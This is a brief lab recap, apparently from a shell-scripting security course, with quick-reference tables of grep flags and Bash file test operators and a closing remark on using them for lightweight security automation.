This lab worked through **grep** as a text-search and indicator-matching tool, and Bash's **file test operators** as a way to safely validate a file before ever touching its contents. Two quick-reference tables below summarize the flags and operators used throughout.

Flag	Meaning
-i	Ignore case
-n	Show line numbers
-c	Count matching lines
-o	Print only the matched text
-w	Match whole words only
-v	Invert the match (show non-matching lines)
-l / -L	List filenames with / without a match
-q	Quiet — report only via exit code (\$?)
-A / -B / -C	Show lines after / before / around a match
-E	Extended regex (alternation with , no need to escape)
-f file	Read patterns from a file, one per line
-h	Suppress filename prefix in multi-file search

Test	Meaning
-e	Path exists
-f	Is a regular file
-d	Is a directory
-r / -w / -x	Readable / writable / executable
-s	Non-empty (size > 0 bytes)
-z	String has zero length (used with [-z "\$VAR"])
[[=~]]	Bash regex match inside an extended test

Closing thought: together, these two toolsets are the backbone of lightweight security automation: file test operators make sure a script only ever inspects something safe to inspect, and grep does the actual detective work of finding what's interesting once it's safe to look.